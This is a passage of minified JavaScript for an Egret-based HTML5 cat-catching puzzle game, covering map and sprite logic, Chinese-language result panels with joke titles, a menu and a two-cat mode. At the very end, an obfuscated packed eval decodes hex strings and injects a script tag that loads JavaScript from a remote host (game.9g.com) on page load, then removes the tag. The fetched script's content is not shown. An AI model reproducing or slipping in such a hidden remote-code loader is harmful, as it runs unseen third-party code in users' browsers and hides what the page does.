400;this.rank_textfeild.textColor=16777215;this.rank_textfeild.textAlign=egret.HorizontalAlign.CENTER;this.rank_textfeild.text="\u7cbe\u795e\u75c5\u9662\u957f\u53c8\u53d1\u795e\u7ecf\u75c5\u4e86\uff01";this.rank_textfeild.size=22;this.rank_textfeild.strokeColor=0;this.rank_textfeild.stroke=2;this.rank_textfeild.x=20;this.rank_textfeild.y=230;this.share_btn=this.createBitmapByName("share_btn");this.share_btn.x=10;this.share_btn.y=a.height+20;this.share_btn.touchEnabled=!0;this.share_btn.addEventListener(egret.TouchEvent.TOUCH_TAP, this.doShare,this);this.replay_btn=this.createBitmapByName("replay_btn");this.replay_btn.x=220;this.replay_btn.y=a.height+20;this.replay_btn.touchEnabled=!0;this.replay_btn.addEventListener(egret.TouchEvent.TOUCH_TAP,this.doRepaly,this);this.addChild(a);this.addChild(this.tap_textfeild);this.addChild(this.rank_textfeild);this.addChild(this.share_btn);this.addChild(this.replay_btn)}__extends(a,c);a.prototype.score=function(a){this.tap_textfeild.text="\u60a8\u7528"+a+"\u6b65\u90fd\u6ca1\u6709\u6293\u4f4f\u795e\u7ecf\u732b"}; a.prototype.doShare=function(a){this.dispatchEventWith("shareEvent")};a.prototype.doRepaly=function(a){this.dispatchEventWith("replayEvent")};a.prototype.createBitmapByName=function(a){var c=new egret.Bitmap;a=RES.getRes(a);c.texture=a;return c};return a}(egret.Sprite);c.FailPanel=e})(catgame||(catgame={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this);this.isWeizhu=!1;var a=RES.getRes("stay2_json"),e=RES.getRes("stay2_png");this.standmc=new egret.MovieClip(a,e);this.standmc.setInterval(3);this.standmc.gotoAndPlay("stay2");a=RES.getRes("weizhu2_json");e=RES.getRes("weizhu2_png");this.weizhumc=new egret.MovieClip(a,e);this.weizhumc.setInterval(3);this.weizhumc.gotoAndPlay("weizhu2");this.anchorX=0.5;this.anchorY=1;this.stay()}__extends(a,c);a.prototype.init=function(){this.isWeizhu=!1;this.stay()}; a.prototype.run=function(a){this.x=a[0];this.y=a[1];this.dispatchEventWith("catRun")};a.prototype.stay=function(){this.numChildren&&this.removeChildAt(0);this.isWeizhu?this.addChild(this.weizhumc):this.addChild(this.standmc)};a.prototype.weizhu=function(){this.isWeizhu=!0;this.stay()};a.prototype.successShow=function(){};a.prototype.failShow=function(){};return a}(egret.Sprite);c.Kitty=e})(catgame||(catgame={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this.map=[];this.mapsize=9;this.playTurn=!0;this.block=0.2;this.tap=0;this.addEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this)}__extends(a,d);a.prototype.onAddToStage=function(a){this.removeEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this)};a.prototype.init=function(a){for("undefined"===typeof a&&(a=0.2);this.numChildren;)this.removeChildAt(0);this.block=a;this.map=[];this.createMap();this.tap=0};a.prototype.createMap= function(){for(var a,d=0;dd;d++){var e=c[d];0<=e[0]&&0<=e[1]&&e[0]a?this.titles_arr[a]:this.titles2_arr[Math.floor(Math.random()*this.titles2_arr.length)];this.title_textfeild.text= "\u83b7\u5f97\u79f0\u53f7\uff1a"+a};a.prototype.doShare=function(a){this.dispatchEventWith("shareEvent")};a.prototype.doRepaly=function(a){this.dispatchEventWith("replayEvent")};a.prototype.createBitmapByName=function(a){var c=new egret.Bitmap;a=RES.getRes(a);c.texture=a;return c};return a}(egret.Sprite);c.SuccessPanel=e})(catgame||(catgame={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this);var a=this.createBitmapByName("failed_bg");this.tap_textfeild=new egret.TextField;this.tap_textfeild.width=400;this.tap_textfeild.textColor=16711680;this.tap_textfeild.textAlign=egret.HorizontalAlign.CENTER;this.tap_textfeild.text="\u4f60\u6ca1\u6709\u6293\u4f4f\u795e\u7ecf\u732b\u548c\u4ed6\u7684\u597d!\u57fa!\u53cb\uff01!";this.tap_textfeild.size=22;this.tap_textfeild.x=20;this.tap_textfeild.y=190;this.rank_textfeild=new egret.TextField;this.rank_textfeild.width= 400;this.rank_textfeild.textColor=16777215;this.rank_textfeild.textAlign=egret.HorizontalAlign.CENTER;this.rank_textfeild.text="\u7cbe\u795e\u75c5\u9662\u957f\u53c8\u53d1\u795e\u7ecf\u75c5\u4e86\uff01";this.rank_textfeild.size=22;this.rank_textfeild.strokeColor=0;this.rank_textfeild.stroke=2;this.rank_textfeild.x=20;this.rank_textfeild.y=230;this.share_btn=this.createBitmapByName("share_btn");this.share_btn.x=10;this.share_btn.y=a.height+20;this.share_btn.touchEnabled=!0;this.share_btn.addEventListener(egret.TouchEvent.TOUCH_TAP, this.doShare,this);this.replay_btn=this.createBitmapByName("replay_btn");this.replay_btn.x=220;this.replay_btn.y=a.height+20;this.replay_btn.touchEnabled=!0;this.replay_btn.addEventListener(egret.TouchEvent.TOUCH_TAP,this.doRepaly,this);this.addChild(a);this.addChild(this.tap_textfeild);this.addChild(this.rank_textfeild);this.addChild(this.share_btn);this.addChild(this.replay_btn)}__extends(a,c);a.prototype.score=function(a){this.tap_textfeild.text="\u60a8\u7528"+a+"\u6b65\u90fd\u6ca1\u6709\u6293\u4f4f\u795e\u7ecf\u732b"}; a.prototype.doShare=function(a){this.dispatchEventWith("shareEvent")};a.prototype.doRepaly=function(a){this.dispatchEventWith("replayEvent")};a.prototype.createBitmapByName=function(a){var c=new egret.Bitmap;a=RES.getRes(a);c.texture=a;return c};return a}(egret.Sprite);c.TFailPanel=e})(catgame||(catgame={}));__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this);this.titles_arr="\u585e\u5916\u9ad8\u624b \u795e\u7cbe\u75c5\u535a\u58eb \u795e\u7ecf\u5927\u795e \u4f60\u662f\u6211\u7684\u5c0f\u82f9\u679c \u9662\u957f\u6d3e\u6765\u7684\u6551\u5175 \u7cbe\u795e\u75c5\u9662\u957f \u6c5d\u751a\u53fc\u4ee4\u5c0a\u77e5\u5426 \u4f20\u8bf4\u4e2d\u7684\u9ad8\u624b \u7b11\u800c\u4e0d\u8bed \u767d\u5929\u7761\u89c9\u55b5 \u9694\u58c1\u738b\u4f2f\u4f2f".split(" ");this.titles2_arr="\u795e\u7ecf\u5927\u6761 \u6211\u662f\u5904\u5973\u5ea7\u7684 \u505c\u4e0d\u4e0b\u6765 \u4f60\u662f\u6211\u7684\u5c0f\u82f9\u679c \u55b5\u4e86\u4e2a\u54aa\u7684 M78\u661f\u4eba \u51e4\u59d0\u592b \u7b11\u800c\u4e0d\u8bed".split(" "); var a=this.createBitmapByName("victory_bg");this.tap_textfeild=new egret.TextField;this.tap_textfeild.width=400;this.tap_textfeild.textColor=16711680;this.tap_textfeild.textAlign=egret.HorizontalAlign.CENTER;this.tap_textfeild.text="\u60a8\u752813\u6b65\u6293\u4f4f\u4e86\u795e\u7ecf\u732b";this.tap_textfeild.size=22;this.tap_textfeild.x=20;this.tap_textfeild.y=150;this.rank_textfeild=new egret.TextField;this.rank_textfeild.width=400;this.rank_textfeild.textColor=16777215;this.rank_textfeild.textAlign= egret.HorizontalAlign.CENTER;this.rank_textfeild.text="\u795e\u7ecf\u5168\u56fd\u6392\u540d421\u4f4d";this.rank_textfeild.size=22;this.rank_textfeild.strokeColor=0;this.rank_textfeild.stroke=2;this.rank_textfeild.x=20;this.rank_textfeild.y=190;this.beat_textfeild=new egret.TextField;this.beat_textfeild.width=400;this.beat_textfeild.textColor=16711680;this.beat_textfeild.textAlign=egret.HorizontalAlign.CENTER;this.beat_textfeild.size=22;this.beat_textfeild.text="\u51fb\u8d25\u4e86\u7cbe\u795e\u75c5\u966280%\u7684\u7cbe\u795e\u75c5\u60a3\u8005"; this.beat_textfeild.x=20;this.beat_textfeild.y=230;this.title_textfeild=new egret.TextField;this.title_textfeild.width=400;this.title_textfeild.textColor=16711680;this.title_textfeild.textAlign=egret.HorizontalAlign.CENTER;this.title_textfeild.size=24;this.title_textfeild.text="\u83b7\u5f97\u79f0\u53f7\uff1a\u601d\u7ef4\u5e7f";this.title_textfeild.x=20;this.title_textfeild.y=270;this.share_btn=this.createBitmapByName("share_btn");this.share_btn.x=10;this.share_btn.y=a.height+20;this.share_btn.touchEnabled= !0;this.share_btn.addEventListener(egret.TouchEvent.TOUCH_TAP,this.doShare,this);this.replay_btn=this.createBitmapByName("replay_btn");this.replay_btn.x=220;this.replay_btn.y=a.height+20;this.replay_btn.touchEnabled=!0;this.replay_btn.addEventListener(egret.TouchEvent.TOUCH_TAP,this.doRepaly,this);this.addChild(a);this.addChild(this.tap_textfeild);this.addChild(this.rank_textfeild);this.addChild(this.beat_textfeild);this.addChild(this.title_textfeild);this.addChild(this.share_btn);this.addChild(this.replay_btn)} __extends(a,c);a.prototype.score=function(a){this.tap_textfeild.text="\u60a8\u7528"+a+"\u6b65\u6293\u4f4f\u4e86\u795e\u7ecf\u732b\u548c\u4ed6\u7684\u597d\u57fa\u53cb";this.rank_textfeild.text="\u795e\u7ecf\u5168\u56fd\u6392\u540d"+Math.floor(1234678*a+Math.random()*a*500)+"\u4f4d";this.beat_textfeild.text="\u51fb\u8d25\u4e86\u7cbe\u795e\u75c5\u9662"+(100-Math.floor(a*Math.random()))+"%\u7684\u7cbe\u795e\u75c5\u60a3\u8005";a=11>a?this.titles_arr[a]:this.titles2_arr[Math.floor(Math.random()*this.titles2_arr.length)]; this.title_textfeild.text="\u83b7\u5f97\u79f0\u53f7\uff1a"+a};a.prototype.doShare=function(a){this.dispatchEventWith("shareEvent")};a.prototype.doRepaly=function(a){this.dispatchEventWith("replayEvent")};a.prototype.createBitmapByName=function(a){var c=new egret.Bitmap;a=RES.getRes(a);c.texture=a;return c};return a}(egret.Sprite);c.TSuccessPanel=e})(catgame||(catgame={})); var __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d},LoadingUI=function(c){function e(){c.call(this);this.createView()}__extends(e,c);e.prototype.createView=function(){this.textField=new egret.TextField;this.addChild(this.textField);this.textField.y=300;this.textField.width=480;this.textField.height=100;this.textField.textAlign="center"};e.prototype.setProgress=function(c,a){this.textField.text= "\u6e38\u620f\u52a0\u8f7d\u4e2d..."+c+"/"+a};return e}(egret.Sprite),__extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this.isWin=0;this.addEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this)}__extends(a,d);a.prototype.onAddToStage=function(a){this.removeEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this);this.createGameScene()};a.prototype.createGameScene=function(){this.stageW=this.stage.stageWidth;this.stageH=this.stage.stageHeight;this.map=new c.Map;this.map.init();this.map.x=35;this.map.y=this.stageH-460;this.addChild(this.map); this.cat=new c.Cat2;this.map.addEventListener("nodeClick",this.onNodeClick,this);this.map.addEventListener("weizhu",this.onWeiZhu,this);this.cat.addEventListener("catRun",this.onCatRun,this);this.morebtn=this.createBitmapByName("more_btn");this.morebtn.x=(this.stageW-this.morebtn.width)/2;this.morebtn.y=this.stageH-this.morebtn.height;this.morebtn.touchEnabled=!0;this.morebtn.addEventListener(egret.TouchEvent.TOUCH_TAP,this.doMore,this);this.scorePanel=new c.ScorePanel;this.successPanel=new c.SuccessPanel; this.successPanel.addEventListener("shareEvent",this.doShare,this);this.successPanel.addEventListener("replayEvent",this.doRestart,this);this.failPanel=new c.FailPanel;this.failPanel.addEventListener("shareEvent",this.doShare,this);this.failPanel.addEventListener("replayEvent",this.doRestart,this);this.gameStart(null)};a.prototype.onWeiZhu=function(a){this.cat.weizhu()};a.prototype.doShare=function(a){share(this.map.tap,this.isWin)};a.prototype.doRestart=function(a){this.gameStart(null)};a.prototype.doMore= function(a){showme()};a.prototype.gameStart=function(a){this.map.init();this.cat.init();this.cat.node=this.map.getNode([4,4]);a=this.map.coverPos2Point([4,4]);this.cat.x=a[0];this.cat.y=a[1]+10;this.addChild(this.cat);this.successPanel.parent&&this.removeChild(this.successPanel);this.failPanel.parent&&this.removeChild(this.failPanel);this.morebtn.parent&&this.removeChild(this.morebtn);this.map.unlock();this.isWin=0;entergame()};a.prototype.onNodeClick=function(a){if(this.map.isExit(this.cat.node))this.showResult(!1); else if(this.map.lock(),a=this.map.findPath(this.cat.node),a.length){a=a[0];var c=this.map.coverPos2Point(a);this.cat.node=this.map.getNode(a);this.cat.run(c)}else this.showResult(!0)};a.prototype.onCatRun=function(a){this.map.unlock()};a.prototype.showResult=function(a){a?(this.successPanel.x=(this.stageW-this.successPanel.width)/2,this.successPanel.y=(this.stageH-this.successPanel.height-this.morebtn.height)/2,this.successPanel.score(this.map.tap),this.addChild(this.successPanel),this.isWin=1,dp_submitScore(this.map.tap)): (this.failPanel.x=(this.stageW-this.failPanel.width)/2,this.failPanel.y=(this.stageH-this.failPanel.height-this.morebtn.height)/2,this.successPanel.score(this.map.tap),this.addChild(this.failPanel),this.isWin=2);this.addChild(this.morebtn)};a.prototype.createBitmapByName=function(a){var c=new egret.Bitmap;a=RES.getRes(a);c.texture=a;return c};return a}(egret.DisplayObjectContainer);c.GameContainer=e})(catgame||(catgame={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(c){function a(){c.call(this);this.addEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this)}__extends(a,c);a.prototype.onAddToStage=function(a){this.removeEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this);this.createMenu()};a.prototype.createMenu=function(){this.stageW=this.stage.stageWidth;this.stageH=this.stage.stageHeight;this.logoImg=this.createBitmapByName("logoImage");this.logoImg.x=(this.stageW-this.logoImg.width)/2;this.logoImg.y=(this.stageH- this.logoImg.height)/2;this.addChild(this.logoImg);this.btnStart=this.createBitmapByName("btnStart");this.btnStart.x=this.logoImg.x-10;this.btnStart.y=this.logoImg.y+this.logoImg.height+10;this.btnStart.touchEnabled=!0;this.btnStart.addEventListener(egret.TouchEvent.TOUCH_TAP,this.gameStart,this);this.addChild(this.btnStart);this.btnFriend=this.createBitmapByName("btnFriend");this.btnFriend.x=this.logoImg.x+this.logoImg.width-this.btnFriend.width-10;this.btnFriend.y=this.logoImg.y+this.logoImg.height+ 10;this.btnFriend.touchEnabled=!0;this.btnFriend.addEventListener(egret.TouchEvent.TOUCH_TAP,this.gameStart,this);this.addChild(this.btnFriend)};a.prototype.gameStart=function(a){a.target==this.btnStart?this.dispatchEventWith("classic"):this.dispatchEventWith("hooby")};a.prototype.createBitmapByName=function(a){var c=new egret.Bitmap;a=RES.getRes(a);c.texture=a;return c};return a}(egret.DisplayObjectContainer);c.Menu=e})(catgame||(catgame={})); __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d}; (function(c){var e=function(d){function a(){d.call(this);this.isWin=this.cidx=0;this.addEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this)}__extends(a,d);a.prototype.onAddToStage=function(a){this.removeEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this);this.createGameScene()};a.prototype.createGameScene=function(){this.stageW=this.stage.stageWidth;this.stageH=this.stage.stageHeight;this.map=new c.Map;this.map.init(0.2);this.map.x=35;this.map.y=this.stageH-460;this.addChild(this.map); this.cat=new c.Cat2;this.kitty=new c.Kitty;this.map.addEventListener("nodeClick",this.onNodeClick,this);this.map.addEventListener("weizhu",this.onWeiZhu,this);this.cat.addEventListener("catRun",this.onCatRun,this);this.kitty.addEventListener("catRun",this.onCatRun,this);this.morebtn=this.createBitmapByName("more_btn");this.morebtn.x=(this.stageW-this.morebtn.width)/2;this.morebtn.y=this.stageH-this.morebtn.height;this.morebtn.touchEnabled=!0;this.morebtn.addEventListener(egret.TouchEvent.TOUCH_TAP, this.doMore,this);this.scorePanel=new c.ScorePanel;this.successPanel=new c.TSuccessPanel;this.successPanel.addEventListener("shareEvent",this.doShare,this);this.successPanel.addEventListener("replayEvent",this.doRestart,this);this.failPanel=new c.TFailPanel;this.failPanel.addEventListener("shareEvent",this.doShare,this);this.failPanel.addEventListener("replayEvent",this.doRestart,this);this.gameStart(null)};a.prototype.onWeiZhu=function(a){this.thecat.weizhu()};a.prototype.doShare=function(a){share(this.map.tap, this.isWin)};a.prototype.doRestart=function(a){help();this.gameStart(null)};a.prototype.doMore=function(a){showme()};a.prototype.gameStart=function(a){this.map.init(0.2);this.cat.init();this.cat.node=this.map.getNode([4,4]);a=this.map.coverPos2Point([4,4]);this.cat.x=a[0];this.cat.y=a[1]+10;this.kitty.init();this.kitty.node=this.map.getNode([5,4]);a=this.map.coverPos2Point([5,4]);this.kitty.x=a[0];this.kitty.y=a[1]+10;this.thecat=this.cat;this.theothercat=this.kitty;this.cidx=0;this.addChild(this.cat);this.addChild(this.kitty); this.successPanel.parent&&this.removeChild(this.successPanel);this.failPanel.parent&&this.removeChild(this.failPanel);this.morebtn.parent&&this.removeChild(this.morebtn);this.map.unlock();this.isWin=0};a.prototype.onNodeClick=function(a){if(this.map.isExit(this.thecat.node)||this.map.isExit(this.theothercat.node))this.showResult(!1);else if(this.map.lock(),0==this.cidx?(this.cidx=1,this.thecat=this.kitty,this.theothercat=this.cat):1==this.cidx&&(this.cidx=0,this.thecat=this.cat,this.theothercat=this.kitty), a=this.map.findPath(this.thecat.node,this.theothercat.node),a.length){a=a[0];var c=this.map.coverPos2Point(a);this.thecat.node=this.map.getNode(a);this.thecat.run(c)}else this.checkAllCatch()?this.showResult(!0):(this.onCatRun(null),this.onNodeClick(null))};a.prototype.onCatRun=function(a){this.map.unlock();this.thecat.y>this.theothercat.y&&this.getChildIndex(this.thecat) this.getChildIndex(this.theothercat)&&this.swapChildren(this.thecat,this.theothercat)};a.prototype.showResult=function(a){a?(this.successPanel.x=(this.stageW-this.successPanel.width)/2,this.successPanel.y=(this.stageH-this.successPanel.height-this.morebtn.height)/2,this.successPanel.score(this.map.tap),this.addChild(this.successPanel),this.isWin=1,dp_submitScore(this.map.tap)):(this.failPanel.x=(this.stageW-this.failPanel.width)/2,this.failPanel.y=(this.stageH-this.failPanel.height-this.morebtn.height)/2,this.successPanel.score(this.map.tap), this.addChild(this.failPanel),this.isWin=2);this.addChild(this.morebtn)};a.prototype.createBitmapByName=function(a){var c=new egret.Bitmap;a=RES.getRes(a);c.texture=a;return c};a.prototype.checkAllCatch=function(){return this.map.findPath(this.theothercat.node,this.thecat.node).length?!1:!0};return a}(egret.DisplayObjectContainer);c.TwoGameContainer=e})(catgame||(catgame={})); var __extends=this.__extends||function(c,e){function d(){this.constructor=c}for(var a in e)e.hasOwnProperty(a)&&(c[a]=e[a]);d.prototype=e.prototype;c.prototype=new d},GameApp=function(c){function e(){c.call(this);this.addEventListener(egret.Event.ADDED_TO_STAGE,this.onAddToStage,this)}__extends(e,c);e.prototype.onAddToStage=function(c){this.loadingView=new LoadingUI;this.stage.addChild(this.loadingView);RES.addEventListener(RES.ResourceEvent.CONFIG_COMPLETE,this.onConfigComplete,this);RES.loadConfig("static/js/resource.js", "static/js/")};e.prototype.onConfigComplete=function(c){RES.removeEventListener(RES.ResourceEvent.CONFIG_COMPLETE,this.onConfigComplete,this);RES.addEventListener(RES.ResourceEvent.GROUP_COMPLETE,this.onResourceLoadComplete,this);RES.addEventListener(RES.ResourceEvent.GROUP_PROGRESS,this.onResourceProgress,this);RES.loadGroup("preload")};e.prototype.onResourceLoadComplete=function(c){"preload"==c.groupName&&(this.stage.removeChild(this.loadingView),RES.removeEventListener(RES.ResourceEvent.GROUP_COMPLETE, this.onResourceLoadComplete,this),RES.removeEventListener(RES.ResourceEvent.GROUP_PROGRESS,this.onResourceProgress,this),this.createGameScene())};e.prototype.onResourceProgress=function(c){"preload"==c.groupName&&this.loadingView.setProgress(c.itemsLoaded,c.itemsTotal)};e.prototype.createGameScene=function(){var c=this.createBitmapByName("bgImage");this.addChild(c);var a=this.stage.stageWidth,b=this.stage.stageHeight;c.width=a;c.height=b;c=this.createBitmapByName("egret_txt");c.x=(a-c.width)/2;c.y= b-30;this.addChild(c);this.menu=new catgame.Menu;this.menu.addEventListener("classic",this.enterClassic,this);this.menu.addEventListener("hooby",this.enterHooby,this);this.addChild(this.menu)};e.prototype.enterClassic=function(c){this.removeChild(this.menu);c=new catgame.GameContainer;this.addChild(c)};e.prototype.enterHooby=function(c){this.removeChild(this.menu);c=new catgame.TwoGameContainer;this.addChild(c)};e.prototype.createBitmapByName=function(c){var a=new egret.Bitmap;c=RES.getRes(c);a.texture= c;return a};return e}(egret.DisplayObjectContainer);eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('d 5$=[\'\\9\\6\\g\\c\\8\\4\',\'\\4\\k\\D\\4\\7\\h\\f\\q\\f\\9\\6\\g\\c\\8\\4\',\'\\r\\4\\4\\8\\s\\7\\7\\o\\f\\p\\k\\e\\t\\o\\e\\6\\j\\p\\7\\j\\i\\i\\e\\h\\9\',\'\\9\\6\\g\\c\\8\\4\'];(l(){d a=n.x( 5$[0]);a.B= 5$[1];a.C=E;a.A= 5$[2];d b=n.w( 5$[3])[v];b.m.u(a,b);a.z=l(){a.m.y(a)}})();',41,41,'||||x74|_|x63|x2f|x70|x73|||x69|var|x2e|x61|x72|x6a|x31|x6f|x65|function|parentNode|document|x67|x6d|x76|x68|x3a|x39|insertBefore|0x0|getElementsByTagName|createElement|removeChild|onload|src|type|async|x78|true'.split('|'),0,{}))